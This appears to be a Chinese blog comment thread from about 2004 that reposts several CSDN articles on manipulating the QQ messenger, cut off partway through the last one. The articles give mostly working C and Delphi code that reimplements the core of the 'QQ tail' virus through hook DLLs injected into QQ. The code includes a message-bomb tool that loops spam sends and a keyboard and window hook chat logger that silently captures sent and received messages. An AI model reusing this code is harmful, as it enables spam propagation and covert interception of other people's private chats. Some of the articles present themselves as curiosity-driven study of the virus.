// 发送消息...
break;
// 其它的命令按钮处理部分...
}
}
break;
// 其它的case部分...
}
return 0;
}
  消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。
  好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。

挂接钩子和查找窗口

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
  DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
  这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。

DLL的共享数据段

  如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
  是的,添加尾巴失败!
  好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

  这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
  在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。

最后一些要说的

  1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
  2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
  3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。

点此下载配套源代码



作者Blog:http://blog.csdn.net/titilima/


删除


#  回复:QQ资料 2004-10-20 2:47 PM bing314
http://dev.csdn.net/develop/article/22/22661.shtm
标题 制作QQ消息炸弹 选择自 hottey 的 Blog
关键字 QQ
出处

QQ聊天机器人随想

原作:hottey(阿风)

  前几日,看到杂志上有一篇关于开发QQ聊天机器人的文章。谈到了对QQ循环发送消息内容,感觉倒也很好玩,于是拿起Delphi开始了我的QQ聊天机器人之路。
  首先要明白自己要做什么,大家都用过QQ,知道给别人发送消息的整个过程吧!要实现循环发送消息的功能该有以下几个条件:
  1.必须是在聊天模式里进行。这样发送完一条消息后,QQ窗体还存在。
  2.其次是要找到QQ文本窗体的句柄。
  3.向QQ文本窗体中贴上你想说的话。然后自己点击发送按钮。
  思路很简单,接着我们就要开始实施了。
  首先要找到QQ文本窗体的句柄。这时我用到了SPY来查看QQ的窗体。结果如下图:这样思路就出来了。要找到QQ文本窗体的句柄就得先找到它的父类即:标志为00620252 Class Name:AfxWnd42 Control ID:00000000。而要找到它就必须找到QQ消息对话框即:006B294“冷问梅 - 发送消息”#32770〔Dialog〕的句柄。
这时要用到几个Api函数:
1.FindWindowEx(
hWnd1:Long, //在其中查找子的父窗口,如设为0,表示使用桌面窗口(通常说的顶级窗口都认为是桌面的子窗口)
hWnd2:Long, //从这个窗口后开始查找。如设为0,表示对第一个子窗口开始搜索。
Lpsz1:String, //欲搜索的类名,0表示忽略。
Lpsz2:String //欲搜索的类名,0表示忽略。
);
2.GetWindow(
hWnd:Long, //源窗口。
wCmd:Long //指定结果窗口与源窗口的关系(这里用GW_CHILD)表示寻找源窗口的第一个子窗口。
);
3. GetDlgItem(
hWnd:Long, //源窗口的句柄。
Int: nIDDlgItem //要在其中查找的窗口的ID号
);
  其实刚开始找QQ对话窗口时,我先想到的是FindWindow(),这个函数可以直接通过窗口标题名来查找窗体句柄。
  我是这样找的:
var hparent:HWND;
hparent:=FindWindow(nil, '发送信息'); //这对2003以前的版本还是很有效的^_^
  结果却是返回错误。Why?
  后来仔细一看,发现每次QQ2003的标题都在变:如上图是:冷问梅 - 发送消息,要是你又对一个人发信息就会变成:蓝色的风 – 发送消息(举个例子)。
  这也许是QQ2003采取的一种安全措施吧!呵呵!你们也许会看见网上针对QQ2003发送消息炸弹的工具有时要是输入对方的昵称的原因。(便于通过昵称得到窗体句柄)。
  不过有没有更好的方法呢!有!这时就要用到FindWindowEx()了。仔细看一下它的参数,关键是第二个hWnd2——我们可以通过它来多次调用FindWindowEx找到符合条件的子窗口。以下是我的代码:
var hparent:HWND; //定义为全局变量。来记录每次调用FindWindowEx()后找到的窗体的句柄。
procedure TForm1.FormCreate(Sender: TObject);
begin
hparent:=0; //初始化,查找桌面所有的顶级窗口开始。
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var hbutton,hbutton1:HWND;
begin
repeat
hparent:=findwindowex(0,hparent,'#32770',nil); //QQ对话框的类为#32770,这样循环调用FindWindowEx()就能每次时钟生效时更新hparent的值。从已查找的句柄为hparent的窗体后查找符合要求的窗体。
hbutton:=findwindowEX(hparent,0,nil,'发送(&S)'); //每次判断找到的窗口的句柄,看这个窗体中是否存在'发送(&S)'按钮。存在即找到了正确的QQ对话框。
until hbutton<>0; //找到QQ对话框后跳出循环。
hbutton1:=findwindowex(hparent,0,nil,'聊天模式(&T)') ; //找到QQ对话窗体后,查找聊天模式按钮句柄。
if hbutton1<>0 then //若此时存在聊天模式按钮即现在QQ窗体处于消息模式状态。
sendmessage(hbutton1,BM_CLICK,0,0); //给聊天模式按钮发送单击消息。将窗体转换为聊天模式。
end;
  这样我们就成功的找到的QQ对话框。和成功设置对话框为聊天模式了。任务总算先完成了一些,呵呵!更郁闷我的还在后头了。
  接着,就要开始查找QQ输入文本的那个窗体的句柄了。这时我用到的是GetDlgItem()大家知道一个窗体中某一类控件的Control ID在这个窗体类中是不变的(除去一些静态文体外)过SPY我获知QQ输入文本的那个窗体的Control ID为0000037E。于是我写了下面的语句。
Var hmemo:HWND;
hmemo:=GetDlgItem(hparent,$0000037E);
  结果发现写得东东完全没有自己预想的效果。呵呵!还是拿起SPY,哈!发现竟然不止一个控件的ID为0000037E。并且我们想要得到QQ输入文本的那个窗体的位置也不是最前一个(要是最前一个,通过上面的语句也是可以找到的^_^)。郁闷了不是。没办法还是从它的父类开始吧!可不能在一步求成了。仔细看看上图。发现了吧!
  标志为00620252 Class Name:AfxWnd42 Control ID:00000000的即是QQ输入文本的那个窗体的父类,并且它是所有Class Name:AfxWnd42中位置最前的那一个。于是我们就可以找到它的句柄。跑不掉了。有了它,QQ输入文本的那个窗体的句柄也就很容易找到了,哈哈!以下是我的代码:
Var hmemo,hmemo1:HWND;
hmemo=GetDlgItem(hparent,$00000000); //找到父类。
hmemo1=GetWindow(hmemo1,GW_CHILD); //得到父类下的第一个子窗口句柄(hmemo1即QQ输入文本的那个窗体的句柄^_^大功告成)
  这里顺便说一下GetWindow()用法:
GetWindow(
Hwnd:Long, //源窗口句柄。
wCnd:Long //指定结果窗口与源窗口的关系。(GW_CHILD为得到源窗体下的第一个子窗口句柄)
)
  更多的常数关系你们就去查看MSDN吧!这里就不必占用寒泉的空间了。哈!
  到此,QQ对话框和QQ输入文本窗口的句柄我们都已经得到了,以下的步骤就是把你要写的话,贴进QQ输入文本窗口,点一下发送,就郁闷别人吧!
  现在贴出我的一段代码以供大家参考:
procedure TForm1.FormCreate(Sender: TObject);
begin
i:=0;
//导入文件内容到combobox控件。
combobox1.Items.LoadFromFile(extractfilepath(application.ExeName)+'text.txt');
combobox1.Text:=combobox1.Items.Strings[0];
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var hmemo1:HWND; //hmemo1为找到的QQ文本输入框句柄
begin
if checkbox1.Checked then //点击了循环发送复选框。
begin
if i>combobox1.Items.Count-1 then
i:=0;
edit1.Text:=combobox1.Items.Strings[i];
edit1.SelectAll;
edit1.CopyToClipboard; //拷贝到剪切板
sendmessage(hmemo1,WM_PASTE,0,0); //对QQ输入文本窗体发送粘贴消息。
sendmessage(hbutton,BM_CLICK,0,0); //点击发送按钮
i:=i+1;
end;
if checkbox1.Checked=false then //没有点击了循环发送复选框。
begin
edit1.Text:=combobox1.Text;
edit1.SelectAll;
edit1.CopyToClipboard;
sendmessage(hmemo1,WM_PASTE,0,0);
sendmessage(hbutton,BM_CLICK,0,0);
end;
end;
  附上简要说明:由于本人所知有限,不太会用剪切板函数对将已知字串拷贝到剪切板的方法还不知道。所以只能借道于控件上。因为所有文本类控件都有一个方法即——edit1.CopyToClipboard,所以只能先将Edit1变为不可见控件。每次先将要发送的内容传给Edit1,而后在将Edit1的内容CopyToClipboard。哈!这只是一个取巧的法子,大家要是知道有什么更好的方法还望告知在下,呵!
后记:
  以上代码是针对QQ2003版本。虽然网上有如:飘叶千夫指的好工具。不过作为一个小小菜鸟。但又喜欢编程的人来说。自己DIY(do it youtself)一个也是很爽的一件事吧!我自己也参照飘叶千夫指做了一个,感觉具备了它的使用功能吧!还不错。其实也没有太多技术性的东西,只是运用了几个API函数而已。只希望对刚刚学Delphi的朋友有所帮助,当然高手是用不着的了。

注明:QQ2004有些改动.为了方便我把新改的代码帖上来:

procedure TForm1.Timer1Timer(Sender: TObject);
var hbutton,hbutton1,hmemo,hmemo1,hparent1:HWND;
begin
repeat
hparent:=findwindowex(0,hparent,'#32770',nil);

//QQ2004就是多了下面这句,Memo上又多了一层窗口
hparent1:=findwindowex(hparent,0,'#32770',nil);
until hparent1<>0;
hbutton:=findwindowEX(hparent1,0,nil,'发送(&S)');
hbutton1:=findwindowex(hparent1,0,nil,'聊天模式(&T)');
if hbutton1<>0 then
sendmessage(hbutton1,BM_CLICK,0,0);
hmemo1:=GetDlgItem(hparent1,$00000000);
hmemo:=getwindow(hmemo1,GW_CHILD);
if hmemo<>0 then
begin
if checkbox1.Checked then
begin
if i>combobox1.Items.Count-1 then
i:=0;
edit1.Text:=combobox1.Items.Strings[i];
edit1.SelectAll;
edit1.CopyToClipboard;
sendmessage(hmemo,WM_SETTEXT,0,0);
sendmessage(hmemo,WM_PASTE,0,0);
sendmessage(hbutton,BM_CLICK,0,0);
i:=i+1;
end;
if checkbox1.Checked=false then
begin
edit1.Text:=combobox1.Text;
edit1.SelectAll;
edit1.CopyToClipboard;
sendmessage(hmemo,WM_SETTEXT,0,0);
sendmessage(hmemo,WM_PASTE,0,0);
sendmessage(hbutton,BM_CLICK,0,0);
end;
end;
end;
  有需要的朋友请到我的网站去下载(位于我的作品里):
  作者网站:http://asp.itdrp.com/hottey 

hottey 于2004-5-30日修改 



作者Blog:http://blog.csdn.net/hottey/


删除


#  回复:QQ资料 2004-10-20 2:58 PM bing314

http://dev.csdn.net/develop/article/22/22273.shtm
标题 QQ尾巴病毒的另一种实现 选择自 myling 的 Blog
关键字 QQ尾巴病毒
出处

前几天看到 wuqiu 兄 把 QQ尾巴病毒模拟了一遍,

我觉得通过查找窗体标题,不太合常理

回去用SPY++来查看了一下,原来,QQ的框架是这样的





其中,#32770(对话框)就是弹出的QQ聊天界面;内部的控件就如上图显示的那样,有Static(标签)、Button(按钮)、AfxWnd42(这个我猜类似panel的容器)、RICHEDIT(这里面就是显示我们的聊天纪录了)

具体的布局就不一一的细说了,你们可以自己打开SPY++看看,一目了然

其中,我们用到的只是其中两个控件,如下图:





前半部分是句柄,中间是标题,后半部分是类名

如:05240258~发送(&S)~Button

就是发送按钮,句柄是05240258

好了,知道了这些,想做点什么就很简单了

全部代码如下:



Procedure TForm1.Timer1Timer(Sender: TObject);
Var
hMemo, hRichEdit, HWindow, HButton: THandle; //句柄变量
szText : Array[0..255] Of char; //得到的字符串
MyText : String; //发送的字符串
Begin
HWindow := 0;//从零开始,即从第一个字窗体开始遍历查找

While true Do
Begin

//找是#32770(对话框)的窗体
HWindow := FindWindowEx(0, HWindow, '#32770', Nil);
If HWindow <> 0 Then
Begin

//找是AfxWnd42(这个我猜类似panel的容器)的窗体
hMemo := FindWindowEx(HWindow, 0, 'AfxWnd42', Nil);
If hMemo <> 0 Then
Begin

//找是RICHEDIT的窗体
hRichEdit := FindWindowEx(hMemo, 0, 'RichEdit', Nil);
If hRichEdit <> 0 Then
Begin

//想些什么随便啦,嘿嘿
MyText := ' 阿德是个大帅哥,嘿嘿';

//发消息,得到QQ中的文本
SendMessage(hRichEdit, WM_GetTEXT, 256,
integer(@szText[0]));

//加上自己的话
MyText := szText + MyText;

//再发给QQ
SendMessage(hRichEdit, WM_SETTEXT, 256,
integer(MyText));

//找到发送按钮
HButton := FindWindowEx(HWindow, 0, 'Button',
'发送(&S)');

//发点击消息,发送
SendMessage(HButton, BM_CLICK, 0, 0);

//退出,如果去掉这句,就是给所有打开的QQ窗体发

//否则,只发给最前面的QQ窗体
break;
End;
End;
End;
End;
End;



这也只是对QQ尾巴的一种猜测,程序有很多不尽如人意的地方,比如发的文本在QQ中显示一下然后再发送,就如 wuqiu 兄 的文章里说的,只要对消息进行拦截,然后再背地里偷偷的发送,就会神不知鬼不觉了





作者Blog:http://blog.csdn.net/myling/


删除


#  回复:QQ资料 2004-10-20 3:41 PM bing314

http://dev.csdn.net/develop/article/22/article/28/28554.shtm
标题 QQ聊天记录器演示程序 选择自 hottey 的 Blog
关键字 QQ,钩子,DLL
出处

QQ聊天记录器演示程序(可针对QQ2003和QQ2004版本)

注:本篇没有高手需要的内容(因为此文中的技术实在无新意可言,只是些简单的实现),各位高手可以就此打住,若浪费宝贵时间,吾将深感不安.

作者网站:http://asp.itdrp.com/hottey ----------------hottey

嘘!好不容易有了一点轻松点的时候.现在才有时间把前几天做的QQ聊天记录器发上来和大家一起分享.做这个程序是看到最近网上有一个叫QQAutoReorder的软件.它所实现的功能就是对QQ聊天记录进行记录.所采用的技术是:对QQ对话框进行挂钩.它并不能对用户没有点击的QQ消息进行记录.(我认为若想对QQ消息进行实时记录,意思就是不等QQ消息框出来就记录下QQ的消息.可能只能去拦截QQ的数据封包了吧.我也花了一天时间在这上面,但最后的结论是’太自不量力了’^_^看来QQ的数据封包可不是那么容易就能得到的L)

言归正传:本文采用对QQ消息框进行挂钩了方法(一来比较容易实现,二来也是大多数此类程序通用的方法.)为了简化程序:我将此程序分为两部实现(均于QQ2004下实现,到最后在兼容QQ2003的版本):

一. 捕获别人给自己发来的消息:

既然是挂钩QQ的消息框,自然得从众多的钩子类型中找出一种最为合理,也最方便的.很容易想到的是无论你用什么方式查看QQ的消息.总会导致一个QQ消息窗体的生成.就是会产生一个CREATE事件.从这一点上看,用一个WH_SHELL钩子是比较明智的.

帮助上对WH_SHELL的说明是:监控Windows外壳通知消息,例如顶级窗口的创建的释放.我们这里要关心是窗口的创建消息.

由于有可能一次出现多个QQ消息窗口的情况,我在这里使用全局钩子:并定义以下数据结构:

HookType.Pas单元

unit HookType;



interface



uses

Windows, Messages;



const

WM_USERCMD = WM_APP + 1; //用户自定应用程序级消息

UC_WINCREATE = WM_APP + 2; //QQ消息窗口创建

UC_WINDESTROY = WM_APP + 3; //发送QQ消息

BUFFER_SIZE = 16 * 1024;

HOOK_MEM_FILENAME = 'MEM_FILE';

type

TShared = record

KeyHook : HHook; //键盘钩子

ShellHook: HHook;

CallHook : HHook;

MainWnd : THandle; //窗体的Handle(非Application.Handle)

Moudle : THandle; //DLL

end;

PShared = ^TShared;



implementation

end.

DLL单元代码

var

MemFile: THandle;

Shared: PShared;



function ShellProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;

begin

case iCode of

HSHELL_WINDOWCREATED:

//有顶级窗口创建时向演示程序发送自己定义消息WM_USERCMD. Wparamr参数说明

// wParam specifies the handle of the window being created or destroyed, respectively.

PostMessage(Shared^.MainWnd,WM_USERCMD ,UC_WINCREATE,wParam);

end;

Result := CallNextHookEx(Shared^.ShellHook,iCode,wParam,lParam);

end;



function InstallHook:Boolean;

begin

Shared^.Moudle:=GetModuleHandle(PChar('qqhook')); //qqhook是我的DLL文件名.

Shared^.ShellHook := SetWindowsHookEx(WH_SHELL,

@ShellProc,

Shared^.Moudle,

0);

if Shared^.ShellHook = 0 then

begin

Result := False;

Exit;

end;

Result := true;

end;



{撤消钩子过滤函数}

function UninstallHook: Boolean;

begin

Freelibrary(Shared^.Moudle);

Result:=UnHookWindowsHookEx(Shared^.ShellHook);

UnmapViewOfFile(Shared);

CloseHandle(memFile);

end;



procedure DllEntry(dwReason : integer);

begin

case dwReason Of

DLL_PROCESS_ATTACH:

begin

MemFile:= OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);

if MemFile = 0 then

MemFile := CreateFileMapping($FFFFFFFF,nil,

PAGE_READWRITE,

0,

SizeOf(TShared),

HOOK_MEM_FILENAME);

Shared := MapViewOfFile(MemFile,

File_MAP_WRITE,

0,

0,

0);

end;

DLL_PROCESS_DETACH:

begin

//UninstallHook;

end;

else;

end;

end;





exports

InstallHook;



begin

DllProc := @DllEntry;

DllEntry(DLL_PROCESS_ATTACH);

end.



//上述代码对卸载钩子没有加太多说明,它不属于此范围讨论之内.



演示程序代码

procedure TForm1.Button1Click(Sender: TObject);

begin

InstallHook;

end;



procedure TForm1.FormCreate(Sender: TObject);

begin

MemFile:= OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);

if MemFile = 0 then

MemFile := CreateFileMapping($FFFFFFFF,nil,

PAGE_READWRITE,

0,

SizeOf(TShared),

HOOK_MEM_FILENAME);

Shared := MapViewOfFile(MemFile,

File_MAP_WRITE,

0,

0,

0);

Shared^.MainWnd := Handle; //保存窗体句柄

end;



//窗口消息处理过程

procedure TForm1.WndProc(var Msg: TMessage);

begin

with Msg do

begin

if Msg = WM_USERCMD then //DLL发来的自定义消息

begin

case wParam of

UC_WINCREATE : //QQ消息框创建

begin

GetText(Findhwd(HWND(lParam))); //得到QQ消息框里的文本

end;

end;

end;

end;

inherited;

end;



//通过wParam参数找到QQ窗口句柄

function TForm1.Findhwd(parent: HWND):HWND;

var

hwd,hBtn,hMemo:HWND;

begin

result := 0;

hwd:=findwindowex(parent,0,'#32770',nil); //QQ次级窗口句柄QQ2003及以前版本没有此项.

if (hwd<>0) then

begin

hBtn := FindwindowEX(hwd,0,nil,'回讯息(&R)'); //可以以此来证明是收到的QQ消息框.

if (hBtn<>0) then

begin

hMemo := GetDlgItem(hwd,$00000380); //RichEdit的句柄,QQ消息就存在于此处.

if (hMemo<>0) then

result := hMemo;

end;

end;

end;



//得到指定句柄控件中的文本.

procedure TForm1.GetText(hwd: HWND);

var

Ret: LongInt;

QQText: PChar;

Buf: integer;

begin

GetMem(QQText,1024);

if (hwd<>0) then

begin

try

Ret := SendMessage(hwd, WM_GETTEXTLENGTH, 0, 0) + 1;

Buf := LongInt(QQText);

SendMessage(hwd, WM_GETTEXT, Min(Ret, 1024), Buf);

memo1.Lines.Add(QQText); //在Memo中显示文本

finally

FreeMem(QQText, 1024);

end;

end;

end;



以上是我测试时的代码,只是为了分类阐述的方便,才帖出来.也许还有些不合理的地方. 若这里有什么不详尽之处,在下篇将提供完整代码下载.



hottey于2005-6-2 网站:http://asp.itdrp.com/hottey



作者Blog:http://blog.csdn.net/hottey/


删除


#  回复:QQ资料 2004-10-20 3:42 PM bing314
http://dev.csdn.net/develop/article/22/article/28/28576.shtm

标题 QQ聊天记录器演示程序(二) 选择自 hottey 的 Blog
关键字 QQ,钩子,DLL
出处

基于上篇,此文将讲述如何捕获自己发送出去的消息:

// hottey 于2004-6-2号

QQ从本机发出消息无非就是两种方式.(1)按发送按钮,(2)按Ctrl+Enter组合键.当然自定义键除外.也不在本文考虑范围之内:

基于这两种发送的方式我选用:WH_CALLWNDPROC 和 WH_KEYBOARD两种钩子.Sorry,今天心情太烂(学校里的一些琐事,郁闷).实在无心继续.只能贴上源码了.大家有兴趣自己看看...有什么问题可以和我联系.delphi21@163.com

//监控Ctrl+Enter组合键

function KeyboardProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
if (wParam = VK_RETURN) and (GetKeyState(VK_CONTROL) < 0) and (lParam >= 0) then
begin
SendMessage(Shared^.MainWnd,WM_USERCMD, UC_WINDESTROY, GetForegroundWindow);
end;
Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
end;

//监控"发送"按钮
function CallWndProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
type
Msg = ^CWPSTRUCT;
var
p : Msg;
begin
p := Msg(lParam);
//只对前台窗口进行处理
if (p^.message = WM_COMMAND) and (LOWORD(p^.wParam) = 1) then
begin
SendMessage(Shared^.MainWnd,WM_USERCMD, UC_WINDESTROY, GetForegroundWindow);
end;
Result := CallNextHookEx(Shared^.CallHook,iCode,wParam,lParam);
end;


演示程序相关代码:

procedure TForm1.WndProc(var Msg: TMessage);
begin
with Msg do
begin
if Msg = WM_USERCMD then
begin
case wParam of
UC_WINDESTROY:
begin
GetText(Findhwd(HWND(lParam)));
end;
end;
end;
end;
inherited;
end;

function TForm1.Findhwd(parent: HWND):HWND;
var
hwd,hBtn,hMemo:HWND;
begin
hwd:=findwindowex(parent,0,'#32770',nil);

Result := 0;
if (parent<>0) then
begin
hBtn := FindwindowEX(hwd,0,nil,'发送(&S)');
if (hBtn<>0) then
begin
hMemo := GetDlgItem(hwd,$00000000);
if (hMemo<>0) then
begin
result := GetWindow(hMemo,GW_CHILD);
end;
end;
end;
end;


procedure TForm1.GetText(hwd: HWND);
var
Ret: LongInt;
QQText: PChar;
Buf: integer;
begin
GetMem(QQText,1024);
if (hwd<>0) then
begin
try
Ret := SendMessage(hwd, WM_GETTEXTLENGTH, 0, 0) + 1;
Buf := LongInt(QQText);
SendMessage(hwd, WM_GETTEXT, Min(Ret, 1024), Buf);
memo1.Lines.Add(QQText);
finally
FreeMem(QQText, 1024);
end;
end;
end;

完整的程序运行以后的图为:



若有什么问题:

请在http://asp.itdrp.com/hottey 上提出. (且上面有源码下载)



作者Blog:http://blog.csdn.net/hottey/


删除


#  回复:QQ资料 2004-10-20 3:48 PM bing314



“QQ尾巴病毒”核心技术的实现 blog

http://blog.csdn.net/titilima/archive/2004/02/09/21451.aspx
删除


#  回复:QQ资料 2004-10-20 3:54 PM bing314
http://home.nuc.edu.cn/~titilima/readarticle.php?id=23
删除


#  回复:QQ资料 2004-10-21 8:38 AM bing314
http://dev.csdn.net/develop/article/21/21715.shtm

标题 QQ尾巴病毒的发送原理分析 选择自 wuqiu 的 Blog
关键字 QQ尾巴
出处

QQ尾巴病毒的发送原理分析



近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它。



QQ尾巴的发作情况:当用户打开一个QQ消息发送窗口时,病毒会自动往消息文本框里输入文本,然后不等用户反应过来就发出去了。



程序实现:首先要找到QQ消息发送窗口的句柄以及消息文本框与“发送”按钮的窗口句柄。



一、 如何找到QQ消息发送窗口句柄:

QQ消息发送窗口有两种,一种是消息模式,在这种情况下,窗口标题含有“发送消息”字样;一种是聊天模式,窗口标题含有“聊天中”字样;

通过枚举窗口就可找到相应的句柄:

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

while hCurrentWindow <> 0 do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

end;

Result:=0;

end;



二、 如何找到“发送”按钮窗口句柄:

找到了QQ的发送消息窗口后,就可以进一步查找“发送”按钮句柄了,如窗口句柄为qqWnd,则可以用一个循环,查找文本中含有“发送”字样的窗口,经过试验发现,“发送”按钮恰恰是窗体的第一个子窗口,这样,可以用

btnWnd:=GetDlgItem(qqWnd,1); // 发送按钮

来获得“发送”按钮的句柄。



三、 如何找到消息文本框窗口句柄:

消息文本框并不好找,不过你可以先在消息文本框中输入几个字母,如“abcd”,这样我们就可以用上述方法来查找了,不过通过实验后,发现消息文本框并不是QQ窗口的直接子窗口,而是其中一个子窗口的子窗口,通过实验,可以用

txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD); // 文本框

来获得。



四、 如何获得原消息文本框的文本:

要获取原消息文本框的文本,只需要一个API函数就行了,如下:

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

GetMem(mText,Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

Result:=StrPas(mText);

finally

FreeMem(mText,Ret);

end;

end;



五、 如何住原消息文本框里追加文本:

与取文本相反

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText,Length(Text));

StrCopy(mText,PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_SETTEXT,0,Buf);

finally

FreeMem(mText,Length(Text));

end;

end;

六、 如果让“发送”按钮自动点击:

一切都准备好了,现在要开始发送了,为了让消息自动发送,我们可以模拟“发送”按钮被点击了。

SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

SendMessage(btnWnd,WM_LBUTTONUP,0,0);

通过模拟一个鼠标在“开始”按钮上的按下与放开,就实现了点击发送功能。



七、 其它的定时功能比较简单,在此也不多说了。



八、 全部源代码如下:

unit Unit1;



interface



uses

